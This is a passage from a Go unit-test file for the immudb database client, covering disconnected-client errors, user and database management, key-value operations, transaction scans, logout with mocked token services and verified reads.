[]byte(\"newPasswd\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = client.UpdateAuthConfig(ctx, auth.KindPassword)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = client.UpdateMTLSConfig(ctx, false)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = client.CompactIndex(ctx, &emptypb.Empty{})\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.FlushIndex(ctx, 100, true)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.Login(context.Background(), []byte(\"user\"), []byte(\"passwd\"))\n\trequire.True(t, errors.Is(err.(immuErrors.ImmuError), ic.ErrNotConnected))\n\n\trequire.True(t, errors.Is(client.Logout(context.Background()), ic.ErrNotConnected))\n\n\t_, err = client.Get(context.Background(), []byte(\"key\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.CurrentState(context.Background())\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.VerifiedGet(context.Background(), []byte(\"key\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.GetAll(context.Background(), [][]byte{[]byte(`aaa`), []byte(`bbb`)})\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.Scan(context.Background(), &schema.ScanRequest{\n\t\tPrefix: []byte(\"key\"),\n\t})\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.ZScan(context.Background(), &schema.ZScanRequest{Set: []byte(\"key\")})\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.Count(context.Background(), []byte(\"key\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.CountAll(context.Background())\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.Set(context.Background(), []byte(\"key\"), []byte(\"value\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.VerifiedSet(context.Background(), []byte(\"key\"), []byte(\"value\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.Set(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.Delete(context.Background(), nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.ExecAll(context.Background(), nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.TxByID(context.Background(), 1)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.VerifiedTxByID(context.Background(), 1)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.TxByIDWithSpec(context.Background(), nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.TxScan(context.Background(), nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.History(context.Background(), &schema.HistoryRequest{\n\t\tKey: []byte(\"key\"),\n\t})\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.SetReference(context.Background(), []byte(\"ref\"), []byte(\"key\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.VerifiedSetReference(context.Background(), []byte(\"ref\"), []byte(\"key\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.ZAdd(context.Background(), []byte(\"set\"), 1, []byte(\"key\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.VerifiedZAdd(context.Background(), []byte(\"set\"), 1, []byte(\"key\"))\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t//_, err = client.Dump(context.Background(), nil)\n\t//require.Equal(t, ic.ErrNotConnected, err)\n\n\t_, err = client.GetSince(context.Background(), []byte(\"key\"), 0)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.GetAt(context.Background(), []byte(\"key\"), 0)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.ServerInfo(context.Background(), nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = client.HealthCheck(context.Background())\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = client.CreateDatabase(context.Background(), nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.UseDatabase(context.Background(), nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = client.ChangePermission(context.Background(), schema.PermissionAction_REVOKE, \"userName\", \"testDBName\", auth.PermissionRW)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = client.SetActiveUser(context.Background(), nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.ListUsers(context.Background())\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.DatabaseList(context.Background())\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.DatabaseListV2(context.Background())\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.UpdateDatabaseV2(context.Background(), \"defaultdb\", nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.CurrentState(context.Background())\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.VerifiedSet(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.VerifiedGet(context.Background(), nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.VerifiedZAdd(context.Background(), nil, 0, nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\t_, err = client.VerifiedSetReference(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n}\n\nfunc TestImmuClientDisconnectNotConn(t *testing.T) {\n\t_, client, _ := setupTestServerAndClientWithToken(t)\n\n\tclient.Disconnect()\n\terr := client.Disconnect()\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n}\n\nfunc TestWaitForHealthCheck(t *testing.T) {\n\t_, client, _ := setupTestServerAndClient(t)\n\n\terr := client.WaitForHealthCheck(context.Background())\n\trequire.NoError(t, err)\n}\n\nfunc TestWaitForHealthCheckFail(t *testing.T) {\n\tclient := ic.NewClient()\n\terr := client.WaitForHealthCheck(context.Background())\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n}\n\nfunc TestSetupDialOptions(t *testing.T) {\n\tclient := ic.NewClient()\n\n\tts := TokenServiceMock{}\n\tts.GetTokenF = func() (string, error) {\n\t\treturn \"token\", nil\n\t}\n\tclient.WithTokenService(ts)\n\n\tdialOpts := client.SetupDialOptions(ic.DefaultOptions().WithMTLs(true))\n\trequire.NotNil(t, dialOpts)\n}\n\nfunc TestUserManagement(t *testing.T) {\n\tvar (\n\t\tuserName        = \"test\"\n\t\tuserPassword    = \"1Password!*\"\n\t\tuserNewPassword = \"2Password!*\"\n\t\ttestDBName      = \"test\"\n\t\ttestDB          = &schema.DatabaseSettings{DatabaseName: testDBName}\n\t\terr             error\n\t\tusrList         *schema.UserList\n\t\timmudbUser      *schema.User\n\t\ttestUser        *schema.User\n\t)\n\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\terr = client.CreateDatabase(ctx, testDB)\n\trequire.NoError(t, err)\n\n\terr = client.UpdateAuthConfig(ctx, auth.KindPassword)\n\trequire.ErrorContains(t, err, server.ErrNotSupported.Error())\n\n\terr = client.UpdateMTLSConfig(ctx, false)\n\trequire.ErrorContains(t, err, server.ErrNotSupported.Error())\n\n\terr = client.CreateUser(\n\t\tctx,\n\t\t[]byte(userName),\n\t\t[]byte(userPassword),\n\t\tauth.PermissionRW,\n\t\ttestDBName,\n\t)\n\trequire.NoError(t, err)\n\n\terr = client.ChangePermission(\n\t\tctx,\n\t\tschema.PermissionAction_REVOKE,\n\t\tuserName,\n\t\ttestDBName,\n\t\tauth.PermissionRW,\n\t)\n\trequire.NoError(t, err)\n\n\terr = client.SetActiveUser(\n\t\tctx,\n\t\t&schema.SetActiveUserRequest{\n\t\t\tActive:   true,\n\t\t\tUsername: userName,\n\t\t})\n\trequire.NoError(t, err)\n\n\terr = client.ChangePassword(\n\t\tctx,\n\t\t[]byte(userName),\n\t\t[]byte(userPassword),\n\t\t[]byte(userNewPassword),\n\t)\n\trequire.NoError(t, err)\n\n\tusrList, err = client.ListUsers(ctx)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, usrList)\n\trequire.Len(t, usrList.Users, 2)\n\n\tfor _, usr := range usrList.Users {\n\t\tswitch string(usr.User) {\n\t\tcase \"immudb\":\n\t\t\timmudbUser = usr\n\t\tcase \"test\":\n\t\t\ttestUser = usr\n\t\t}\n\t}\n\trequire.NotNil(t, immudbUser)\n\trequire.Equal(t, \"immudb\", string(immudbUser.User))\n\trequire.Len(t, immudbUser.Permissions, 1)\n\trequire.Equal(t, \"*\", immudbUser.Permissions[0].GetDatabase())\n\trequire.Equal(t, uint32(auth.PermissionSysAdmin), immudbUser.Permissions[0].GetPermission())\n\trequire.True(t, immudbUser.Active)\n\n\trequire.NotNil(t, testUser)\n\trequire.Equal(t, \"test\", string(testUser.User))\n\trequire.Len(t, testUser.Permissions, 0)\n\trequire.Equal(t, \"immudb\", testUser.Createdby)\n\trequire.True(t, testUser.Active)\n}\n\nfunc TestDatabaseManagement(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\terr1 := client.CreateDatabase(ctx, &schema.DatabaseSettings{DatabaseName: \"test\"})\n\trequire.NoError(t, err1)\n\n\tresp2, err2 := client.DatabaseList(ctx)\n\trequire.NoError(t, err2)\n\trequire.IsType(t, &schema.DatabaseListResponse{}, resp2)\n\trequire.Len(t, resp2.Databases, 2)\n\n\tresp3, err3 := client.DatabaseListV2(ctx)\n\trequire.NoError(t, err3)\n\trequire.IsType(t, &schema.DatabaseListResponseV2{}, resp3)\n\trequire.Len(t, resp3.Databases, 2)\n}\n\nfunc TestImmuClient_History(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, _ = client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`))\n\thdr, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val2`))\n\trequire.NoError(t, err)\n\n\tsil, err := client.History(ctx, &schema.HistoryRequest{\n\t\tKey:     []byte(`key1`),\n\t\tSinceTx: hdr.Id,\n\t})\n\n\trequire.NoError(t, err)\n\trequire.Len(t, sil.Entries, 2)\n}\n\nfunc TestImmuClient_SetAll(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.SetAll(ctx, nil)\n\trequire.ErrorContains(t, err, \"Marshal called with nil\")\n\n\tsetRequest := &schema.SetRequest{KVs: []*schema.KeyValue{}}\n\t_, err = client.SetAll(ctx, setRequest)\n\trequire.ErrorContains(t, err, \"no entries provided\")\n\n\tsetRequest = &schema.SetRequest{KVs: []*schema.KeyValue{\n\t\t{Key: []byte(\"1,2,3\"), Value: []byte(\"3,2,1\")},\n\t\t{Key: []byte(\"4,5,6\"), Value: []byte(\"6,5,4\"), Metadata: &schema.KVMetadata{NonIndexable: true}},\n\t}}\n\n\t_, err = client.SetAll(ctx, setRequest)\n\trequire.NoError(t, err)\n\n\t_, err = client.FlushIndex(ctx, 1, false)\n\trequire.NoError(t, err)\n\n\tfor _, kv := range setRequest.KVs {\n\t\ti, err := client.Get(ctx, kv.Key)\n\n\t\tif kv.Metadata != nil && kv.Metadata.NonIndexable {\n\t\t\trequire.Contains(t, err.Error(), \"key not found\")\n\t\t} else {\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, kv.Value, i.GetValue())\n\t\t}\n\t}\n\n\terr = client.CloseSession(ctx)\n\trequire.NoError(t, err)\n\n\t_, err = client.SetAll(ctx, setRequest)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n}\n\nfunc TestImmuClient_GetAll(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.VerifiedSet(ctx, []byte(`aaa`), []byte(`val`))\n\trequire.NoError(t, err)\n\n\tentries, err := client.GetAll(ctx, [][]byte{[]byte(`aaa`), []byte(`bbb`)})\n\trequire.NoError(t, err)\n\trequire.Len(t, entries.Entries, 1)\n\n\t_, err = client.FlushIndex(ctx, 10, true)\n\trequire.NoError(t, err)\n\n\t_, err = client.VerifiedSet(ctx, []byte(`bbb`), []byte(`val`))\n\trequire.NoError(t, err)\n\n\t_, err = client.FlushIndex(ctx, 10, true)\n\trequire.NoError(t, err)\n\n\terr = client.CompactIndex(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\n\tentries, err = client.GetAll(ctx, [][]byte{[]byte(`aaa`), []byte(`bbb`)})\n\trequire.NoError(t, err)\n\trequire.Len(t, entries.Entries, 2)\n\n\terr = client.TruncateDatabase(ctx, \"defaultdb\", 1*time.Hour)\n\trequire.ErrorContains(t, err, \"database is reserved\")\n}\n\nfunc TestImmuClient_Delete(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.Delete(ctx, nil)\n\trequire.ErrorContains(t, err, \"Marshal called with nil\")\n\n\tdeleteRequest := &schema.DeleteKeysRequest{}\n\t_, err = client.Delete(ctx, deleteRequest)\n\trequire.ErrorContains(t, err, \"no entries provided\")\n\n\t_, err = client.Set(ctx, []byte(\"1,2,3\"), []byte(\"3,2,1\"))\n\trequire.NoError(t, err)\n\n\ti, err := client.Get(ctx, []byte(\"1,2,3\"))\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"3,2,1\"), i.GetValue())\n\n\t_, err = client.ExpirableSet(ctx, []byte(\"expirableKey\"), []byte(\"expirableValue\"), time.Now())\n\trequire.NoError(t, err)\n\n\t_, err = client.Get(ctx, []byte(\"expirableKey\"))\n\trequire.ErrorContains(t, err, \"key not found\")\n\n\tdeleteRequest.Keys = append(deleteRequest.Keys, []byte(\"1,2,3\"))\n\t_, err = client.Delete(ctx, deleteRequest)\n\trequire.NoError(t, err)\n\n\t_, err = client.Get(ctx, []byte(\"1,2,3\"))\n\trequire.ErrorContains(t, err, \"key not found\")\n\n\t_, err = client.Delete(ctx, deleteRequest)\n\trequire.ErrorContains(t, err, \"key not found\")\n}\n\nfunc TestImmuClient_ExecAllOpsOptions(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tidx, err := client.ExecAll(ctx, aOps)\n\n\trequire.NoError(t, err)\n\trequire.NotNil(t, idx)\n}\n\nfunc TestImmuClient_Scan(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`))\n\trequire.NoError(t, err)\n\t_, err = client.VerifiedSet(ctx, []byte(`key1`), []byte(`val11`))\n\trequire.NoError(t, err)\n\t_, err = client.VerifiedSet(ctx, []byte(`key3`), []byte(`val3`))\n\trequire.NoError(t, err)\n\n\tentries, err := client.Scan(ctx, &schema.ScanRequest{Prefix: []byte(\"key\"), SinceTx: 3})\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.Entries{}, entries)\n\trequire.Len(t, entries.Entries, 2)\n}\n\nfunc TestImmuClient_TxScan(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.Set(ctx, []byte(`key1`), []byte(`val1`))\n\trequire.NoError(t, err)\n\t_, err = client.Set(ctx, []byte(`key1`), []byte(`val11`))\n\trequire.NoError(t, err)\n\t_, err = client.Set(ctx, []byte(`key3`), []byte(`val3`))\n\trequire.NoError(t, err)\n\n\ttxls, err := client.TxScan(ctx, &schema.TxScanRequest{\n\t\tInitialTx: 1,\n\t})\n\trequire.IsType(t, &schema.TxList{}, txls)\n\trequire.NoError(t, err)\n\trequire.Len(t, txls.Txs, 3)\n\n\ttxls, err = client.TxScan(ctx, &schema.TxScanRequest{\n\t\tInitialTx: 3,\n\t\tLimit:     3,\n\t\tDesc:      true,\n\t})\n\trequire.IsType(t, &schema.TxList{}, txls)\n\trequire.NoError(t, err)\n\trequire.Len(t, txls.Txs, 3)\n\n\ttxls, err = client.TxScan(ctx, &schema.TxScanRequest{\n\t\tInitialTx: 2,\n\t\tLimit:     1,\n\t\tDesc:      true,\n\t})\n\trequire.IsType(t, &schema.TxList{}, txls)\n\trequire.NoError(t, err)\n\trequire.Len(t, txls.Txs, 1)\n\trequire.Equal(t, database.TrimPrefix(txls.Txs[0].Entries[0].Key), []byte(`key1`))\n}\n\nfunc TestImmuClient_Logout(t *testing.T) {\n\tbs := servertest.NewBufconnServer(server.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithAuth(true),\n\t)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tts1 := tokenservice.NewInmemoryTokenService()\n\tts2 := &TokenServiceMock{\n\t\tTokenService: ts1,\n\t\tGetTokenF:    ts1.GetToken,\n\t\tSetTokenF:    ts1.SetToken,\n\t\tDeleteTokenF: ts1.DeleteToken,\n\t\tIsTokenPresentF: func() (bool, error) {\n\t\t\treturn false, errors.New(\"some IsTokenPresent error\")\n\t\t},\n\t}\n\tts3 := *ts2\n\tts3.DeleteTokenF = func() error {\n\t\treturn errors.New(\"some DeleteToken error\")\n\t}\n\tts3.IsTokenPresentF = func() (bool, error) {\n\t\treturn true, nil\n\t}\n\ttokenServices := []tokenservice.TokenService{ts1, ts2, &ts3}\n\texpectations := []func(error){\n\t\tfunc(err error) {\n\t\t\trequire.NoError(t, err)\n\t\t},\n\t\tfunc(err error) {\n\t\t\trequire.NotNil(t, err)\n\t\t\trequire.Contains(t, err.Error(), \"some IsTokenPresent error\")\n\t\t},\n\t\tfunc(err error) {\n\t\t\trequire.NotNil(t, err)\n\t\t\trequire.Contains(t, err.Error(), \"some DeleteToken error\")\n\t\t},\n\t}\n\n\tfor i, expect := range expectations {\n\t\tclient, err := ic.NewImmuClient(ic.\n\t\t\tDefaultOptions().\n\t\t\tWithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}).\n\t\t\tWithDir(t.TempDir()),\n\t\t)\n\t\tif err != nil {\n\t\t\texpect(err)\n\t\t\tcontinue\n\t\t}\n\t\tclient.WithTokenService(tokenServices[i])\n\n\t\tlr, err := client.Login(context.Background(), []byte(`immudb`), []byte(`immudb`))\n\t\tif err != nil {\n\t\t\texpect(err)\n\t\t\tcontinue\n\t\t}\n\t\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\t\tctx := metadata.NewOutgoingContext(context.Background(), md)\n\n\t\terr = client.Logout(ctx)\n\t\texpect(err)\n\t\terr = client.Disconnect()\n\t\trequire.NoError(t, err)\n\t}\n}\n\nfunc TestImmuClient_GetServiceClient(t *testing.T) {\n\t_, client, _ := setupTestServerAndClient(t)\n\n\tcli := client.GetServiceClient()\n\trequire.Implements(t, (*schema.ImmuServiceClient)(nil), cli)\n}\n\nfunc TestImmuClient_GetOptions(t *testing.T) {\n\tclient := ic.NewClient()\n\top := client.GetOptions()\n\trequire.IsType(t, &ic.Options{}, op)\n}\n\nfunc TestImmuClient_ServerInfo(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\tresp, err := client.ServerInfo(ctx, &schema.ServerInfoRequest{})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, resp)\n\trequire.Equal(t, \"\", resp.Version)\n}\n\nfunc TestImmuClient_CurrentRoot(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`))\n\trequire.NoError(t, err)\n\n\tr, err := client.CurrentState(ctx)\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.ImmutableState{}, r)\n\n\thealthRes, err := client.Health(ctx)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, healthRes)\n\trequire.Equal(t, uint32(0x0), healthRes.PendingRequests)\n}\n\nfunc TestImmuClient_Count(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\tres, err := client.Count(ctx, []byte(`key1`))\n\trequire.NoError(t, err)\n\trequire.Zero(t, res.Count)\n}\n\nfunc TestImmuClient_CountAll(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\tres, err := client.CountAll(ctx)\n\trequire.NoError(t, err)\n\trequire.Zero(t, res.Count)\n}\n\n/*\n\nfunc TestImmuClient_SetBatchConcurrent(t *testing.T) {\n\tsetup()\n\tvar wg sync.WaitGroup\n\tvar ris = make(chan int, 5)\n\twg.Add(5)\n\tfor i := 0; i < 5; i++ {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tbr := BatchRequest{\n\t\t\t\tKeys:   []io.Reader{strings.NewReader(\"key1\"), strings.NewReader(\"key2\"), strings.NewReader(\"key3\")},\n\t\t\t\tValues: []io.Reader{strings.NewReader(\"val1\"), strings.NewReader(\"val2\"), strings.NewReader(\"val3\")},\n\t\t\t}\n\t\t\tidx, err := client.SetBatch(context.Background(), &br)\n\t\t\trequire.NoError(t, err)\n\t\t\tris <- int(idx.Index)\n\t\t}()\n\t}\n\twg.Wait()\n\tclose(ris)\n\tclient.Disconnect()\n\ts := make([]int, 0)\n\tfor i := range ris {\n\t\ts = append(s, i)\n\t}\n\tsort.Slice(s, func(i, j int) bool { return s[i] < s[j] })\n\trequire.Equal(t, 2, s[0])\n\trequire.Equal(t, 5, s[1])\n\trequire.Equal(t, 8, s[2])\n\trequire.Equal(t, 11, s[3])\n\trequire.Equal(t, 14, s[4])\n}\n\nfunc TestImmuClient_GetBatchConcurrent(t *testing.T) {\n\tsetup()\n\tvar wg sync.WaitGroup\n\twg.Add(5)\n\tfor i := 0; i < 5; i++ {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tbr := BatchRequest{\n\t\t\t\tKeys:   []io.Reader{strings.NewReader(\"key1\"), strings.NewReader(\"key2\"), strings.NewReader(\"key3\")},\n\t\t\t\tValues: []io.Reader{strings.NewReader(\"val1\"), strings.NewReader(\"val2\"), strings.NewReader(\"val3\")},\n\t\t\t}\n\t\t\t_, err := client.SetBatch(context.Background(), &br)\n\t\t\trequire.NoError(t, err)\n\t\t}()\n\t}\n\twg.Wait()\n\n\tvar wg1 sync.WaitGroup\n\tvar sils = make(chan *schema.StructuredItemList, 2)\n\twg1.Add(1)\n\tgo func() {\n\t\tdefer wg1.Done()\n\t\tsil, err := client.GetBatch(context.Background(), [][]byte{[]byte(`key1`), []byte(`key2`)})\n\t\trequire.NoError(t, err)\n\t\tsils <- sil\n\t}()\n\twg1.Add(1)\n\tgo func() {\n\t\tdefer wg1.Done()\n\t\tsil, err := client.GetBatch(context.Background(), [][]byte{[]byte(`key3`)})\n\t\trequire.NoError(t, err)\n\t\tsils <- sil\n\t}()\n\n\twg1.Wait()\n\tclose(sils)\n\n\tvalues := BytesSlice{}\n\tfor sil := range sils {\n\t\tfor _, val := range sil.Items {\n\t\t\tvalues = append(values, val.Value.Payload)\n\t\t}\n\t}\n\tsort.Sort(values)\n\trequire.Equal(t, []byte(`val1`), values[0])\n\trequire.Equal(t, []byte(`val2`), values[1])\n\trequire.Equal(t, []byte(`val3`), values[2])\n\tclient.Disconnect()\n\n}\n\ntype BytesSlice [][]byte\n\nfunc (p BytesSlice) Len() int           { return len(p) }\nfunc (p BytesSlice) Less(i, j int) bool { return bytes.Compare(p[i], p[j]) == -1 }\nfunc (p BytesSlice) Swap(i, j int)      { p[i], p[j] = p[j], p[i] }\n\n\n\nfunc TestImmuClient_GetReference(t *testing.T) {\n\tsetup()\n\tidx, err := client.Set(context.Background(), []byte(`key`), []byte(`value`))\n\trequire.NoError(t, err)\n\t_, err = client.Reference(context.Background(), []byte(`reference`), []byte(`key`), idx)\n\trequire.NoError(t, err)\n\top, err := client.GetReference(context.Background(), &schema.Key{Key: []byte(`reference`)})\n\trequire.IsType(t, &schema.StructuredItem{}, op)\n\trequire.NoError(t, err)\n\tclient.Disconnect()\n}\n\n\n*/\n\nfunc TestEnforcedLogoutAfterPasswordChangeWithToken(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClientWithToken(t)\n\n\tvar (\n\t\tuserName        = \"test\"\n\t\tuserPassword    = \"1Password!*\"\n\t\tuserNewPassword = \"2Password!*\"\n\t\ttestDBName      = \"test\"\n\t\ttestDB          = &schema.Database{DatabaseName: testDBName}\n\t\ttestUserContext = context.Background()\n\t)\n\t// step 1: create test database\n\terr := client.CreateDatabase(ctx, &schema.DatabaseSettings{DatabaseName: testDBName})\n\trequire.NoError(t, err)\n\n\t// step 2: create test user with read write permissions to the test db\n\terr = client.CreateUser(\n\t\tctx,\n\t\t[]byte(userName),\n\t\t[]byte(userPassword),\n\t\tauth.PermissionRW,\n\t\ttestDBName,\n\t)\n\trequire.NoError(t, err)\n\n\t// step 3: create test client and context\n\tlr, err := client.Login(context.Background(), []byte(userName), []byte(userPassword))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\ttestUserContext = metadata.NewOutgoingContext(context.Background(), md)\n\n\tdbResp, err := client.UseDatabase(testUserContext, testDB)\n\tmd = metadata.Pairs(\"authorization\", dbResp.Token)\n\ttestUserContext = metadata.NewOutgoingContext(context.Background(), md)\n\n\t// step 4: successfully access the test db using the test client\n\t_, err = client.Set(testUserContext, []byte(\"sampleKey\"), []byte(\"sampleValue\"))\n\trequire.NoError(t, err)\n\n\t// step 5: using admin client change the test user password\n\terr = client.ChangePassword(\n\t\tctx,\n\t\t[]byte(userName),\n\t\t[]byte(userPassword),\n\t\t[]byte(userNewPassword),\n\t)\n\trequire.NoError(t, err)\n\n\t// step 6: access the test db again using the test client which should give an error\n\t_, err = client.Set(testUserContext, []byte(\"sampleKey\"), []byte(\"sampleValue\"))\n\trequire.ErrorContains(t, err, auth.ErrNotLoggedIn.Error())\n}\n\nfunc TestEnforcedLogoutAfterPasswordChangeWithSessions(t *testing.T) {\n\tt.SkipNow()\n\tbs, client, ctx := setupTestServerAndClient(t)\n\n\tvar (\n\t\tuserName        = \"test\"\n\t\tuserPassword    = \"1Password!*\"\n\t\tuserNewPassword = \"2Password!*\"\n\t\ttestDBName      = \"test\"\n\t\ttestUserContext = context.Background()\n\t)\n\t// step 1: create test database\n\terr := client.CreateDatabase(ctx, &schema.DatabaseSettings{DatabaseName: testDBName})\n\trequire.NoError(t, err)\n\n\t// step 2: create test user with read write permissions to the test db\n\terr = client.CreateUser(\n\t\tctx,\n\t\t[]byte(userName),\n\t\t[]byte(userPassword),\n\t\tauth.PermissionRW,\n\t\ttestDBName,\n\t)\n\trequire.NoError(t, err)\n\n\t// step 3: create test client and context\n\ttestClient := bs.NewClient(ic.DefaultOptions().WithDir(t.TempDir()))\n\n\terr = testClient.OpenSession(context.Background(), []byte(userName), []byte(userPassword), testDBName)\n\trequire.NoError(t, err)\n\n\t// step 4: successfully access the test db using the test client\n\t_, err = testClient.Set(testUserContext, []byte(\"sampleKey\"), []byte(\"sampleValue\"))\n\trequire.NoError(t, err)\n\n\t// step 5: using admin client change the test user password\n\terr = client.ChangePassword(\n\t\tctx,\n\t\t[]byte(userName),\n\t\t[]byte(userPassword),\n\t\t[]byte(userNewPassword),\n\t)\n\trequire.NoError(t, err)\n\n\t// step 6: access the test db again using the test client which should give an error\n\t_, err = testClient.Set(testUserContext, []byte(\"sampleKey\"), []byte(\"sampleValue\"))\n\trequire.Error(t, err)\n}\n\nfunc TestImmuClient_CurrentStateVerifiedSignature(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\titem, err := client.CurrentState(ctx)\n\trequire.IsType(t, &schema.ImmutableState{}, item)\n\trequire.NoError(t, err)\n}\n\nfunc TestImmuClient_VerifiedGetAt(t *testing.T) {\n\tbs, client, ctx := setupTestServerAndClient(t)\n\n\ttxHdr0, err := client.Set(ctx, []byte(`key0`), []byte(`val0`))\n\trequire.NoError(t, err)\n\n\tentry0, err := client.VerifiedGetAt(ctx, []byte(`key0`), txHdr0.Id)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`key0`), entry0.Key)\n\trequire.Equal(t, []byte(`val0`), entry0.Value)\n\n\ttxHdr1, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`))\n\trequire.NoError(t, err)\n\n\ttxHdr2, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val2`))\n\trequire.NoError(t, err)\n\n\tentry, err := client.VerifiedGetAt(ctx, []byte(`key1`), txHdr1.Id)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`key1`), entry.Key)\n\trequire.Equal(t, []byte(`val1`), entry.Value)\n\n\tentry2, err := client.VerifiedGetAt(ctx, []byte(`key1`), txHdr2.Id)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`key1`), entry2.Key)\n\trequire.Equal(t, []byte(`val2`), entry2.Value)\n\n\tbs.Server.PreVerifiableGetFn = func(ctx context.Context, req *schema.VerifiableGetRequest) {\n\t\treq.KeyRequest.AtTx = txHdr1.Id\n\t}\n\t_, err 